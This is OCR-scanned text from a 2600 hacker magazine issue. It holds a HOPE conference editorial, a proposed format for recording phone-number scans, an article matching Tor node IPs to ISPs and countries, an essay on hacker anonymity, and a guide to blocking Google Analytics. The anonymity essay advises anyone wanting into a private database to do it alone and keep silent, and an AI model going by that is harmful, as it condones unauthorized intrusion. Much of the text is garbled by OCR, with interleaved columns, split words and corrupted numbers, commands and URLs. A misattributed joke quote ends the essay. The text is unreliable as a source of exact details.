






In the end, The Last HOPE turned out cool as it gets. 
to be only the beginning. This year was definitely the biggest 

Contrary to the perception that of them all with well-attended talks 
this would be the actual last HOPE and constant activity around the clock 
conference, the enthusiasm and spirit of in the hacker area downstairs. We also 
the attendees, speakers, and staff made tried a lot of things for the first time: 
such a prospect all but impossible. R FID badges, an imported and addictive 
While many were fooled by all of German hacker drink, an onsite radio 
the talk of the Hotel Pennsylvania's station, a "hacker space village, " and an 
pending destruction along with unprecedented four speaker tracks. That, 
various inadvertent symbols of death added to all of the existing activities 
and hopelessness on our website, the (lockpicking, Segways, a huge network 
intention was never to put an end to area, videos, merchants, etc.) that we 
something that has proven to be such had brought back from previous HOPES, 
a rallying point for the community. We made it virtually impossible to be bored 
simply meant to use the word "last" to or to want to get any sleep. 
denote "previous" or "most recent." We had a terrific keynote address from 
So, the conference that occurred this Steven Levy, author of Hackers: Heroes 
July was the last HOPE conference, as of the Computer Revolution (published 
in the one that just happened. The next back in 1984), who was able to put the 
one will appropriately be called The development of the hacker culture into a 
Next HOPE and will take place in the perspective we could appreciate. Adam 
summer of 201 O. Savage from Mythbusters also added his 

We realize that this might get really sense of adventure and wonder to the 
confusing in another two years when proceedingsas did return i ng favorites like 
people use "Last" and "Next" without Jello Biafra, Kevin Mitnick, and Steven 
actually meaning "last" and "next." But R ambam. But this doesn't even begin to 
we still have some time to figure out scratch the surface. We had participants 
how to fix that. For now, let us be happy from all age groups, backgrounds, and 
with what happened this year. parts of the world in attendance and up 

And what was that precisely? The on stage. If you were there, then you 
one word answer is magic. We've don't need us to tell you how incredible 
almost come to expect it after one of it was. And if you weren't, don't feel 
our conferences. Each time we do this, too bad. You still have the DVDs, audio 
we wind up sharing something really files, and something really cool to look 
special and unique. Thousands of people forward to in two years. 
gathering in the heart of Manhattan As with the magazine itself, we rely 
for three days of fun and learning and solely on individuals like you to make 
seeing for themselves what the hacker things happen. It's not a commercial 
mentalitv is all about - that is about as operation filled with sronsors or 
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corporate grants. We like it that way 
and we think it makes a lot of what 
we do possible in the first place. That's 
one reason you won't see a huge 
publicity blitz complete with PR firms 
luring attendees to find out "what 
the hackers are up to." We find the 
best rpsu Its come from those of you 
who participate, telling others about 
your experiences and w'tting more 
cool people to show up. To those in 
the commercial world, none of what 
HOPE accomplishes is even possible. 
To get so many people to show up and 
volunteer their abi lities to turn an empty 
space into a thriving community in the 
course of a few hours just isn't realistic. 
Nor is having so much content for such 
a low admission price. Nor, for that 
matter, is having a conference like this 
right in the middle of New York City. 
You could listen to such people tell 
you for hours why this is an impossible 
project and, no doubt, why so many 
other idealistic endeavors simply don't 
make any sense and are a big waste of 
time to even think about. Obviously, 
we're dealing with radically different 
perceptions of reality, something which 
should be kept in mind whenever you 
pursue any dream. With determination 
and a vision, there's little that can't 
be accomplished. If HOPE teaches 
us anyth i ng, it's to not I isten to the 
naysayers and to do what we want 
to do even if it's been defined by the 
sensible as impossible. Isn't that what 
hacking has always been? Doing those 
things that you want to do, that the 
mainstream will never appreciate or try 
for themselves, just because you have a 
feeling it could work. This applies both 
on an individual and a collective scale 
and it will continue to do so for as long 
as the determination to succeed exists. 

Plans are already in the works 
for next year's outdoor conference 
in the Netherlands, most likely to be 
held in August. It's called Hacking 
At Random or HAR. Updates will be 
posted at http://har2009.org. If you 
want to experience the fun and magic 

of a HOPE conference and meet people 
from all over the world, this is your best 
opportunity until The Next HOPE. 

Once again, we want to thank 
everyone who made this summer a 
lot of fun and a real milestone in the 
hacker community. We have all of the 
audio available for free download at 
http://www.thelasthope.org and you can 
buy the DVDs of any of the talks as well. 
It'salso nevertooearlyto startplann ingfor 
The Next HOPE. Our website is already 
online at http://www.thenexthope.org. 
It's hard to imagine how that one will 
top th is one. Fortunately, the field of 
imagination is one area where our 
readers and attendees possess a great 
degree of skill. 
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@BELL'S MIND 
Markup Language 

by d ual 
http://dualisanoob.com/ 

I ntroduction 
Hand scanning is essential to phreaking, as 

essential as punching and kicking are to martial 
arts. Only after thousands and thousands of 
punches and kicks can one build upon those 
skills and create new techniques. Phreaking is 
the same. After calling thousands and thousands 
of numbers, one begins to notice sounds, routing, 
systems, and intercepts that one wouldn't be 
aware of otherwise. 

Scanning is essential, and propagating the 
knowledge gained from a scan is just as essen­
tial. Otherwise, that knowledge is worthless 
to the phreaking community. Presenting scan 
information has been a complicated affair over 
the years. Up to now, phreaks had to be sleuths 
to determine accurate information, dealing with 
incomplete scans, partial numbers, broken acro­
nyms, and other shortcomings. Furthermore, so 
much hand scan information is recorded, and 
still remains, in paper notebooks to this day. 

This article discusses a tool to assist phreaks 
in the creation and dissemination of scan infor­
mation: Bell's Mind Markup Language. 

Bell's Mind Markup Language (BM2L) is the 
standardization of hand scan presentation. Bell's 
Mind Markup Language standardizes hand scan 
layout, format, and number descriptions. The 
standardized format that BM2L provides facili­
tates efficient hand scan generation and assures 
scan portability. Most importantly, BM2L solidi­
fies the phreaking community, bringing dispa­
rate data and new phreaks into the fold with a 
common language and providing a record of 
scans that can stand the test of time. 

File Name Format. After the specification, appli­
cation and BM2L's future conclude the article. 

BM2 l Specification 
1 .  File Name Format 

BM2L requires the file name to have the 
extension . scan. txt. This highlights the fact that 
the file is an ASCii-text scan. it provides universal 
acceptance across operating systems, web 
servers and browsers. it also provides a standard 
for other tools that expect a certain file name for 
scans. Of course, it is helpful to humans as well, 
letting them know that the file is indeed a hand 
scan. 

Phreaks are free to use any format for the file 
name base, whether it is the numeric range of 
the scan, a proper noun, or simply the phreak's 
handle and an increment. 

Examples: 800-555-xxxx. scan. txt, 

pennsylvania. scan. txt 

2. Number and Description Format 
Scan entries should be in the format "NPA­

NXX-XXXX - Description." This provides a 
common, easily read format, includes the full 
number for search tools like grep, and requires 
number and description standardization for other 
tools. Effort should be given to keep descriptions 
to one line for automated tools as well, though 
readabi I ity may necessitate wrapping. If a descrip­
tion wraps, indent the next line to the beginning 
of the description to maintain readability. 
800 -851-6662 - "Thank you [or calling. 

Due to extreme weather conditions, 

we are unable to answer your call 

at this time. Please try your call 

again later." 

808-973-4381 - Oahu forecast 

The name Bell's Mind Markup Language 3. Standard Acronyms 
comes from a website, Bell's Mindl. Bell's Mind These are the standard acronyms for 
is a feature-rich website hosting an impres- commonly encountered numbers. Standard acro-
sive telecommunications database and other nyms are most often used by themselves, though 
tools tailored for the phreak community. One they may be included as part of a larger descrip-
of the capabilities of Bell's Mind is its submis- tion. it is helpful to provide an acronym legend 
sion engine for scanned numbers, of which there with scans, or at least to provide a legend of the 
are over 30,000. BM2L not only pays homage acronyms used in the file. 
to Bell's Mind, but also provides a standard for • ANAC: Automatic Number Announcement 
Bell's Mind number description and submission. Circuit 

BM2L specifies the scan file name, phone • CBCAD: Cannot Be Completed As Dialed 
number, description, and other aspects of a • CBCAE: Cannot Be Completed As Entered 
scan. The BM2L specification is listed in eight • CBRYCA: Cannot Be Reached from Your 
numbered parts, much like an RFC. it begins with Calling Area 
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• DISCO: Disconnected 
• DTMF: Dual Tone Multi Frequency 
• HELO: "Hello?" 
• NAYCA: Not Available from Your Calling 

Area 
• NIS: Not In Service 
• SIT: Special Information Tone 
• TT Y: Teletypewriter 
• VM: Voice Mail 

Examples: 
411 -/4-1 '>399 - 'I'TY NIS TTY 
808485-5555 - S I T  "Code 4 8 Your cdll 

has been connected Lo a vacant nurn1:Jcr 

series ... " 

4. Standard Descriptors 
Standard descriptors are one-word descrip­

tions of commonly and uncommonly encoun­
tered numbers. In lower case, they are most often 
used alone as the description of a number. 

• busy 
• carrier 
• extender 
• fax 
• milliwatt 
• reorder 
• ring out 
• silent 

Examples: 
505 )92-9996 - mill,wall 

623 �6()-9994 - siJeIlL 

5. Secondary Phone Numbers 
If a message reads another telephone number, 

include that number in the description, within a 
quote of the message or simply at the end of the 
description. This provides a launching point for 
further exploration and information for further 
investigation. 

Example: 
800-483-6662 - Verizon West Ne twork 

.. C o n t ro l  Center 97?'-61�)-6200 

6. Message and Tandem Codes 
Message and tandem codes are included at 

the end of descriptions within parentheses, for 
example (027T). All tandem codes are capital­
ized and spacing is included so as to match the 
message. 

Example: 
50'1-22"- 9901 - CHCAD (Leaeo message 
- '10"-399) 

7. Carriers 
When feasible, carrier connection data 

should be displayed as the description. If this is 
not possible, use the "carrier" standard descriptor 
discussed earl ier. 

Usel- Access Vcrific��_ion 

U�3ernamc : 

8. Other Numbers and Descriptions 
Numbers and descriptions that do not fit in 

the above categories should be accounted for 
with the phreak's best judgment as to ensure 
readability, accessibility and maintainability. 
Uti I ize the BM2 L standard as much as possible, 
and make suggestions for changes to it, espe­
cially when the special number or description is 
repeatable. 

Appl ications and BM2 l's  Future 
Tbere are a number of applications for BM2L. 

For example, we can write our own syntax high­
lighting for GNU ndno' that makes scans more 
accessible and colorful. Carriers st,Jnd out as 
brigbt yellow, for example. This demonstrates 
that using an open standard allows for the most 
personalization. An agreed-upon standard allows 
tools and processes to be created for customiz­
able uses. 

Another example is number entry into a data­
basf'. The BM2L scan format allows the simple 
creation of large scan databases. And, again, 
what one can then do with a relational database 
of thousands of scanned numbers is anyone's 
guess. We can, for example, write a Perl script 
that creates the SQL statements to enter scans 
into a MySQL database. 

Both of these example scripts are available 
from the 2600 code repository. I have also made 
available a Perl script, hdllclf; c an .  pi', and a 
website, hanci:c: c Dn. net."', that generate BM2 L­
compliant hand scan lists. 

Suggestions have a I ready been made 
to BM2L and updates will be maintained 
in the Old Skool f'hreaking section at the 
Binary Revolution forums'. The addition of 
"resident" and "business" standard descriptors 
is being considered, to provide both discretion 
regarding personally identifiable information and 
d way to speed scanning. The standard descriptor 
"pron" has also been suggested for obvious 
reasons. 

References 
1 1-1 t t p : / I w w w . b (.l I ::> m 1 n d . 11 P l / 1:3 ell s 

-Mind/We L c omc . htm 1 
2hLtP://INWW.TIoI1o-ec1iLoL.org/ 

.lhttp://dudl-j n oo b . ro m/ l i n ll x/ p PI- l l 
-hand s c an . t x t  
4h t tp://WVJW . hdnciscan.n e t /  
rih t t p : / / w w  w . b i n  T C v . COIn / [ 0 r u m E; I 
.. indcx.php,?::;how [oLum-)-1 

Examples: 
281 230 3203 _ carrier The scripts mentioned in this article 
�0',-�4 1-9999 - CONNECT 312001 can be downloaded from the 

-ARQ/v341 I,AFM!V42BI S  2600 Code Repository at 

�QK'I'2 
http://www.2600.com/code/ 
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by OSIN I sn't it a h u ge leap to assu me that any 
Tor router cou l d  be associated wi th  the 

In  September, 2007, a Swedish  secur i ty US G overnment? I may not have defin i t ive 

researcher revealed that he was abl e  to ev idence that any part icu lar To r rou ter i s  

captu re u nencrypted data b y  operat i ng ex i t  associated wi th  the NSA, b u t  i f  w e  u se 

nodes on the Tor network.  With h i s  setup, he some com mon sense, we m i ght  come up 
wi th  some poss ib i l i t ies .  For instance, a 

was ahl e  to sniff u sernames and passwor ds  
search on the I nternet shows the Ver i zonl 

of accou nts u sed by embassy offic ia l s  and Mel behemoth cur rent l y  ho lds  the largest 
corporate personnel .  For those of us who teleco m m unicat ions contract w i th  the US 
have u sed To r for years, t h i s  is not earth- Federal G overnment. S ince I had al ready 
shatter ing news. In fact, the Tor webs ite goes done a qu i ck, samp l ed search in the To r 
out  of i ts way to rem i nd u sers that Tor s h o u l d  fi le  w h i ch h o l d s  a l i st ing o f  t h e  routers and 
not he rel i ed u pon for strong anonym ity. Even thei r IPs, I found a name that stood out  as 
though com m unicat i on among Tor nodes I searched ARIN's records: Ver i zon Internet 
is encrypted, the connect i on is no l onger Serv i ces . 
automat i cal l y  encrypted once you l eave the Befo re I go on, l et's tal k about  what 
ex i t  node to v i s i t  an external webs i te. Th i s  i s, for o u r  p u rposes, the m ost i m portant o f  
m eans that i f  y o u  log into a n  acco unt that Tor's fi l es .  When you fi rst start Tor, it bu i lds  

i s  not u s i ng SSH or  H TTPS, you r  traff ic can a l i st ing of al l part ic i pat ing Tor nodes . Th i s  

be sniffed . As Tor becomes m o re known to fi l e  i s  ca l l ed cachpd-rouLers, or, in  newer 

the general pub l i c, you can bet that there vers i ons, cached-d('scriptors. Suppose that  

w i l l  be others who w i l l  exp l o i t  u sers' l ack of  you are logged in  as  " u ser" and you start Tor. 

nderstand·ng B t th·s art·c le  ·s not about  Then, the cached-routers fi l e  w i l l  be  placed u I . U I I L 

the finer deta i l s  of Tor. 
you r  home d i rectory; in th i s  examp l e, it w i l l  
be cal led Ihomelw:erl. Lor. leached-routers. 

A cou p l e  of yea rs ago, I s u r m i sed that i f  I f you take a look i n  that fi le  after stopping 
the NSA wanted to w i retap I nternet t raff ic  Tor, you ' l l  see a lot of i nformat i on on those 
en masse, they m i ght  do so at the I nternet nodes . I don't know what everyth ing means 
Exchange Po i nts (lX Ps). You can read more in that fi l e, but th i s  com m and w i l l  g i ve you a 
on that project at ht tp: I luI<. gooci ties. eoml l i st of al l the IP add resses part ic i pat ing in the 
osin1776/. Br ief ly, an IXP i s  a pl ace where Tor network and the associ ated names : 
many d ifferent ISPs exchange Internet traff ic.  cat Ihome/user / . tor / cached-rou ters I 

Of cou rse, any NSA ro l e  i n  I X P  traff ic sniff ing .. grep "router " > tmp. txt 

is spec u l at i on on my part, but  I doubt that  The space after the word 'router' i s  

ent i t ies s u c h  a s  t h e  FBI, D EA, N SA, and i m portant . If you replace the grep command 

DoD wou l d  tota l l y  i gnore s u ch an easy wi th  we -1, you can get the n u mber of Tor 

access poi nt .  A l so, I doubt that those same nodes that  were part i cipati ng at  the t i me 

ent i t ies c o u l d  fa i l  to noti ce Tor. Tor attracts you started Tor. The f i l e  is a t reasu re trove 
of i nformat i on s u ch as what  as each node 

a l ot of h acker-types, but now that the 
i s  u s i ng and how l ong each node has been 

genera l popu lat i on is sta rt ing to noti ce the been u p, but for our  p u rposes we're only 
system, i t  w i l l  i nev i tab l y  attract e lements of  interested i n  the " router" l ine. 
c r i m i nal  act i v i ty. The events of September G ett i ng back to Ver izon, we can do 
2007 spu rred a qu est ion i n  my m ind : who a search on ARI N for "Veri zon Internet 
is running the Tor ex i t  nodes, and where are Serv i ces" and get a l i st ing of thei r s upposed I P  
they l ocated? More speci f ical l y, cou l d  any address space. I say supposed because ARI N 
of the Tor router I Ps be assoc iated wi th  or  somet i m es t runcates the res u l ts i t  retu rns to  
l ocated at  the same add ress as  an I X P? the browser. The fi rst entry i n  A R I N 's records 
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for Ver izon I nternet Serv i ces i s  64.222.0.0- 72\. 
64.223.255.255. We cou l d  then run these 96\'

lt'S obv i o u s  that Ver izon does n 't have al l commands to see if any of the Tor nodes fal l  
that space, i t  behooves you to search al l of i t, w i th i n  th i s  range : . . 

cat /home/user/. tor/cached-routers I Just I n  case. 
� " t ·" I gr'Op " 64\ 222\ " The registry variable i s  e i t h er ARIN, -grep rou PI � . .  

cat /home/user/. tor/cached-routers I A PNIC, R I P E, LACNI C, or A FRINIC, i n  
-grep "router" I grep " 64\.223\." al l -cap i tal  l etters . As stated ear l i e r, ARIN 

Note that the space before the "64" is doesn 't return al l records al l the t i me.  And 
n eeded . A l l  these commands I ' m  ru n n i ng just i t's obv i o u s  that Ver izon i s n 't ass igned a l l  
seem t o  b e  screaming "Scr i pt me!" So, I 've the add ress space l i sted in ver izon/ve r i zo n .  
created a scr i pt wh i ch w i l l  do s o m e  o f  the txt .  So we can check that same fi l e  aga i n st 
leg work for you .  It i s  a Per l  scr i pt and can be the other reg i st r ies to see w h i c h  Tor I Ps are 
dow n l oaded from the 2 600 code repos i tory. l ocated i n  those reg i str ies .  
Let's turn  o u r  attent ion to th is  scr ipt, which i s  When ru n n i ng th i s  scri pt agai n st Ver izon 
cal l ed par Sf! . p1. you wou l d  use t h i s  command: 

The fi rst th i ng the script does is to set u p  a . /pa ,,;c . pi/hOlT"" / u sey / . tor 

.wgetrc fi Ie in the home di rectory of the user _ "ached - r au t. (' r" ver i zan AR! N 
you 're ru nni ng  as . Th i s  is one of the p l aces The scr ipt  u ses wgel to make a cal l  to 
you ' l l  have to ed i t  the scr i pt fo r yourse lf. the regi stry, i n  t h i s  case ARIN, and creates 
Then,  you can r u n  the scri pt at the com mand an HTML fi l e  for each IP address i t  tests . 
l i ne l i ke t h i s: After the s c r i pt has run ,  it is t r iv ia l  to run a 
. !parse. pi r to r _CJche_fll <? I com mand to fi n d  out  how man y  Tor routers 
- I IP_segmE'nts_t.cst_fllel Irc'gistry] might be l i sted as fal l i ng  under Ver i zon 

You m u st create several  d i rector i es in the I nternet Serv i ces: 
scr i pt's work i n g d i rectory before proceed i�g. edt vel iwn!ARTN!*.ht.rnl I grcp 
S i nceVer izon is o u r  examp l e  these d l rectones _ "DrgName:" I grep "Veri /.on " I we I 
wou ld be: You can then look at each H T M L  fi l e  to get 
Vpy i zon/ more informat i on as to what ARIN returned . 
ver i zon/ ARIN 

What were the resu l ts of my test? I can 't veri zan/RIPE 

b V '  I verizon/APNIC say anyth i n g  conc l u s i ve, ut enzon nternet 
veri zon/LACN I C Serv ices is c o n s i stent ly  l i sted as a host of 
verizon/AFRTNIC many nodes i n  the Tor network, usual l y  

There are three var iables passed t o  the hav i n g  1 5-25 nodes act i ve at  a t i me .  For a l l 
scri pt. tor_cache_file i s  the locat i o n  of the of the I Ps I exami ned which are regi stered 
cached-routers  fi l e .  It is usua l l y  i n  the / to Ver izon I nternet Serv i ces, ARIN says the 
home/user/. tor d i rectory of whatever u ser address that was entered d uri n g  reg i strat i o n  
you're l ogged i n  a t  the  t i me.  i s  1 880 Campu s  Common s  Dr., Reston,  

The IP_segments_ t e s t_file f i l e  l i sts the VA 2 0 1 91 . The i nterest i n g  th i ng i s  that the 
major IP  segments of an ent i ty, i � th i � case address above maps just down the road from 
Ver izon,  that we want to test against In the the l ocat i o n  l i sted for M C I 's MAE- East I X P  
l i st o f  Tor routers i n  t h e  c a ched- r o u te r s  fi l e .  fac i l i ty a t  Resto n .  I n  fact, they're both  w i th i n  
A s  I ment i oned, not every l i st i n g  for Ver izon the same area code.  Dur i ng  my searches, I 
comes u p, so i t  might  be better if we search came across another ent i ty cal l ed The P l anet.  
the ent i re ran ge matc h i ng the f irst n u mber i n  com. Th i s  ent i ty had anywhere between 
the IP addresses of each ofVer izon 's entr ies .  1 5-30 nodes act i ve at  a t i me, and al l the I Ps 
H ere i s  the ve r i z o n / ve r i z o n . t x t  segments are l i sted by ARIN as be i ng n ear the same 
f i l e  I created for Ver izon : address as the Dal las I nfoMart I X P  run  by 64 \ . 

Switch & Data, 1 950 Stemmons  Freeway, 138\. 
Dal l as, TX .  Keep i n  m i n d  that I h ave just 199\. 

129\. l oo ked at a very t i ny  port i o n  of the Tor nodes 130\. that part i c i pate i n  the system at o n e  t i me .  162\. 
But now I want to look at someth i ng e l se :  151 \. 

what cou ntr ies might  be contr ibut i n g  to the  141\. 
d f 209\. Tor system? We l l , I 've been e ngrosse or 

207\. the past several years i n  map p i n g  out  the 68\. I Pv4 address s pace for var ious  c o u n tr ies. 4 \. 
J ust a coup l e  of months ago, I f i n i s h ed the 70\. 
M i d d l e  E ast. You can see the  project at 7
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h t tp : / / uk . g e oc i t i e s . c om / o s i n331 / . 

Us i n g  the same concepts as w i th  Veri zan,  
we can scan the c ache d - r o u t e rs fi l e  to see 
if any Tor nodes map back to countr ies we're 
i nterested i n .  S i nce most of the M i d d l e  East 
fal l s  u n der RI PE,  that is the regi stry we' l l  be 
h i tt i ng .  D u r i ng one scan, I fou n d  that I ran 
had two nodes in the Tor network; I srae l ,  
seven nodes; and the Un i ted Arab Emirates, 
two nodes. 

Th u s  far, I 've looked just a smal l port i o n  
of the total n umber o f  Tor routers that are o u t  
there. Wou l d n 't i t  b e  n ice i f  we cou l d  get a 
snapshot of every Tor node out  there? N ot 
bei ng  one who can leave wel l enough a lone, 
I dec i ded to see if was poss ib le  to analyze the 
ent ire Tor system at a g i ven po i nt in  t i me. So, 
I set out to create a set of scr i pts that do th i s  
very th i ng for me. I ut i l i ze a M ysQL database 
to store the data, and I update th i s  database 
rough l y  every 2 0  m i n utes . 

F i rst, my system's starter scr ipt  creates the 
r ou t e r s .  tx t f i l e  of al l the Tor nodes l i sted i n  
the cache d - r oute r s  o r  c a c h e d - de s c r i pt o r s  

fi l e  when Tor f irst starts u p .  Then, for each 
I P  l i sted, the scr ipt  f irst checks to see if that 
I P  i s  i n  i ts  database. If i t  i s, then the DATE� 

UPDATED f ie ld i s  updated to reflect the c u rrent 
t ime, al l ow i ng that entry to rema i n  o n  f i le .  If 
the IP is not in the database, then the scri pt 
checks the O r g ID returned by ARI N .  The 
ARI N OrgID l ets u s  k n ow i f  the IP address i n  
q uest i o n  i s  ass igned by ARI N ,  or, al ternate l y, 
w h i c h  regi stry we shou l d  look i n  If the I P  i s  
not i n  ARI N 's jur i s d i ct ion ,  t h e n  the scri pt w i l l  
contact the appropr iate reg i stry to get the 

i n format i o n  we need . The scr ipt  r u n s  u nt i l 
a l l I Ps are chec ked. At the end of the r u n ,  
o l d  entr ies i n  the database are removed, but 
the h i stor ica llP record data g l eaned from the 
reg i st r ies i s  kept for futu re reference to speed 
up the process .  

I h ave been ru n n i ng the above setup  
for a week now, and someth i ng i nterest i n g  
about the Tor network h as come t o  l i ght .  
G u ess w h i c h  cou ntry i s  host i n g  the most Tor 
nodes. If you said the U n i ted States, you are 
wrong.  I n  fact the country that hosts the most 
Tor nodes usua l l y  h osts more than the US, 
C h i na, Russ i a, and G reat Br i ta i n combi ned .  
W h i c h  c o u n try i s  it? G ermany. That res u l t  
seems t o  remai n con s i stent n o  matter how 
long I ru n my scr ipts .  Why G ermany h osts 
so many Tor nodes is beyon d  me, and the 
n u mber i s  s urpri s i n g l y  l arge. Usual l y, they 
comprise nearl y  a th i rd of a l l Tor nodes at 
any g i ven t i me. I 'm at a loss to exp l a i n why 
Germans are f loc k i n g  to Tor. I t  might  even 
be that G ermans themselves are u n aware 
of t h i s  i nfo rmat i o n  and that a foreign power 
is be ru n n i ng ex i t  Tor nodes in G erman y  to 
c i rcumvent t h at fore ign  power's own l aws.  
I ' l l  l eave the consp i racy theo r i es u p  to the 
reader, but i f  someone o u t  there k n ows why 
G ermany i s  host i n g  so many Tor nodes, I 'd 
I i ke to h ear i t .  

The scripts mentioned in this article 
can be downloaded from the 

2600 Code Repository at 
http://www.2600.com/code/ 

1rIHIre �1rA1rre O]F �re�rACCre 
AND �reRW� 

by Barrett Brown corporations. The US Secret Service's Operation 
Sundevil brought about the end of the infancy of 

Cyberspace has changed drastically in the computer hacking. 

past three decades, and hacker culture has It is now almost twenty years later, and the 

changed with it. In the beginning, we obfus- current state of affairs includes the NSA sucking 

cated our on-line identities with handles like down all net traffic, Google retaining records 

"h3 0" d "$ 3 @ " th t Id k 
of all actions, ISPs pushing for a tiered Internet 

r an up rm n so a we cou war 
that they can manipulate, the EU implementing 

with other hackers in cyberspace without our security provisions, the Chinese government 
true identities being discovered. Groups were maintaining its "Great Firewall," and the FCC 
formed, such as the Legion of Doom, Cult of allowing very few entities to control the media 
the Dead Cow, and LOpht. It was all fun and landscape. The list goes on and on. Hacker 
games, until people started to get hurt. Some nicknames are a quaint anachronism, and the 
hackers got busted and gave other members of concept of a hacker group is destroyed. Still, we 
their groups up to the authorities; some set up find budding computer explorers christening 
other hackers in order to avoid focusing trouble themselves "LOrd-pO OpOO@gmail. com" 
on themselves; still others just plain sold out to while records of their home IP address and 
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every search and email they ever send or receive to protected systems, using a botnet ta kes very 
are retained. It is my opinion that nicks have little skill. It is largely rumored that botnet time 
outlived their usefulness. These days, the only can be easily purchased on the black market. 
security comes in complete anonymity. Sorry, The media initially framed this "cyberattack" 
folks: no more clubs, no more bragging rights, as an act of aggression from "Russian hackers." 
and no more defaced web pages with "LOrd They again popularized the image that we were 
pOOpOO pwnd U" on them. Those days were dealing with a massive international cyber 
wonderful and fun, but their time has passed. battle. Much later, a very small article came 
Just using a nick is a red flag which gives hacker out which traced the Estonia attack to a single 
hunters something to search for, even if you 20-year-old Estonian college student. Was it 
do so from different computers, through web an act of government warfare, or was it one 
proxies, with Tor, encrypted with your PCP key, pissed-off college student? We may never know. 
and on SILC. If continued secret communication To date, no one has yet publicized who owns 
with others is req uired, I recommend rotating and control the botnets. Some bot herders of 
media and using pass codes. The only safe and small nets have been caught, but the herders of 
useful hacker collaboration these days comes in 

the largest nets still remain unseen. If the scant the form of open and free communication on 
O· ts th·,t 11 n 1 )  1 t · I. ( h' J 1 n I f  media attention g. iven to  these nets is  any clue, pr Jec a ave 0 re, S( I 0 o ·� ICIC e .  you 

h d we won't be finding out any time soon. ave an intense esire to get into some private . 
database, you should do it alone. Once you've 8y the very nature of computer networks, 

completed your task, never mention it again. national borders are now blurred. When the 

In 2003, the White House published Internet was unleashed upon the world, it 

The National Strategy to Secure Cyberspace, cre,1ted a level playing field for all. We had truly 

which presents cyberspace security as d fdcet entered an age where a single person could 
of Homeland Security. Not long after that, in hdve the power to dffect an entire nation not 
December, 2005, the United States Air Force by voting, but by direct action. This must terrify 
officially added "Cyberspace" to its area of governments in the extreme, and lTJany are 
focus; in 2006, it set up the Air Force Cyber- milking every effort to control the internet. These 
space Com mand (AFC:Y8ER) to "provide both efforts include recruiting hackers that govprn-
defensive and offensive computer network ments catch, coercing hackers who work for 
weapons." If you are getting visions of Black them to recruit others at events such as HOPE 
Ice and Kuang Military Crade ic:ebreaking and IJEFCON, and tricking hdckers into doing 
progra ms from one of Gibson's novels, so am work for them tbrough proprietary corporations 
I, and there is no doubt that we are well on the or IRe: chilt rooms. 
way. This military command attempts to actively I completely support hacker conVl'ntions 
monitor all attacks and scans upon government and alwclYs enjoy them, but we must be aware 
computers. Clearly, we are no longer living in of whdt is occurring. Hackers have tbe direct 
the age of fun nickna mes and clubs na med after power to change the world, dnd certain entities 
comic book characters. wish to monopolize and control th,lt power. We 

Since 2001, the US, UK, and German communicate with each other in all countries 
governments hdve reported that "Chinese on an equal footing. We respect knowledge 
hackers" are engaged in an active and system- dnd information and disdain outmoded forms 
atic f)rogra m of computer system infiltration . I 

. 
01 contro . Our best detense is open collabo-

aimed at government computers, including the ration in all fields; if executive measures must 
unsecured e-mail of the US Secretary of Defense 

be ta ken, then they should be taken alone and 
and nuclear weapons laboratories. Because of 

never shared with anotber. the nature of computer networks, there really 
's nc) 1 to I no hether Ch'nl ' . 

' 1 01 '(1 I fJredict that government entities will I w, Y ( W  W . I , IS It V. vc 
or not other than to use old-fashioned human continue to intensify their media portrayals of 

intelligence agents. Even if the computers cyberspace as something divided into countries 

which attacked these networks were located in engaging in cyberbattle with (,dcb other. Most 

Chinil, they could have been pwned by anyone, citizens will believe these portrayals. We must 

anywhere, including forces within the US witb continue' to educate our fellow humans about 

a desire to frame China. Regardless of this fact, open source software, loss of privacy, infor-
the hype circulating ,ll110ng the l11ilitdry and m<ltion security, the tyranny of tiered Internet 
media makes it sound like we are in the middle services, dnd the power that every individual 
of the world's first C:yber Cold War. h,lS access to. I f  we don't, we may wa ke up one 

On another side of the Cyherwar frontier, d,lY to find thdt we do not have internet freedom 
we have the phenomena of botnets, whose any more. 
power was witnessed in the massive DOSing of "PicaS(' muypt your clata, people. If you don'/, 
Estonia in 2007, which was largely referred to as evil wifflake over the world." 
Cyberwdr I. Unlike gaining unauthorized access - 7homas jefferson, well-known Dutch Author 
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WATCHlnCi 

THE WATCH� 

by ZoeB 

I 'm sure most 2600 readers are aware 
of Google  Analyt i cs. I t ' s  a handy way for 
website owners to see what their  v i s i tors get 
up to wi thout hav ing to learn how to anal yze 
Apache l og fi l es. 

More parano id  readers may have worked 
out that Google  has a l ot of informat ion at t h i s  
point .  Us ing Analyt i cs alone, they can keep 
track of wh ich  web pages people look at, not 
just on ind iv i dual  s i tes but  from one webs i te to 
the next. Th i s  works if al l the s i tes in quest ion 
use Analyt i cs, wh ich  increas i ng ly  more web 
developers are recommend ing to their  c l i ents 
due to its ease of use. 

As someone who val ues her privacy and 
l i kes t i nker ing around with computers, I 
thought it wou l d  be a fun l i tt le project to 
stop my computer from tal k ing to Goog le 
Anal yt ics .  I t  onl y takes a few minutes, and the 
effect wi l l  last unt i l  Goog le  dec i des to change 
the URL of the ir  JavaScript fi l e  that keeps track 
of people  browsing the web. Th i s  w i l l  prob­
ab l y  be q u i te some t ime, as they ' d  need to te l l  
a lot of people to update every page of the ir  
webs ite. 

Redirecting your  browser 
As you can see by s imply  v iewing the 

HTML source of any s i te that uses Google 
Analyt ics,  the program that keeps track of 
your movements on the web i s  avai lable at 
http://www.google-analytics.com/ 

'-urchin. j s, so you may want to te l l  your 
computer not to access that part i c u lar domain 
name. 

To do t h i s, ed i t  your / etc /hos ts fi l e, 
wh ich  keeps track of wh ich  domain names go 
to wh ich  I P  addresses. ( I t's in a d i fferent d i rec­
tory in  Windows, but G N U/Linux and OS X 
users shou l d  be ab le  to pop open a terminal 
appl i cat ion and j ust start ed i t ing i t  us ing sudo 
or su  and the text ed i tor of their  cho ice. I f  in  
doubt, search onl ine for more detai l s.) Th i s  i s  
t h e  l ine y o u  need t o  add :  

Once you save t h e  fi l e, your computer wi l l  
th ink that any traffi c  for that domain name 
shou l d  go to i tse l f  rather than to the real s i te, 
so it won' t  actual l y  tal k to the real Google  
Analyt ics server anymore. 

Finding out who uses Analytics 
If you ' re running an Apache webserver 

and know how to set up domain names on 
it, th ings get a l i tt l e  b i t  more fun. You can te l l  
Apache that i t  i s  indeed the server that shou l d  
rece ive requests for fi les o n  that domain name 
by edi t ing h t tpd. conf and sett ing up a 
d irectory to host that domain 's  fi l es .  If you ' re 
not fami l iar with Apache, you ' d  do wel l to 
read up on it first; i t ' s  notor ious ly  f inicky about  
i ts  configurat ion f i le. 

The s impl i c ity of sett ing up Analyt ics is v i tal 
for its popu lari ty. Th i s  means that i t ' s  a lso very 
s imple to serve the appropriate f i le  local l y. 
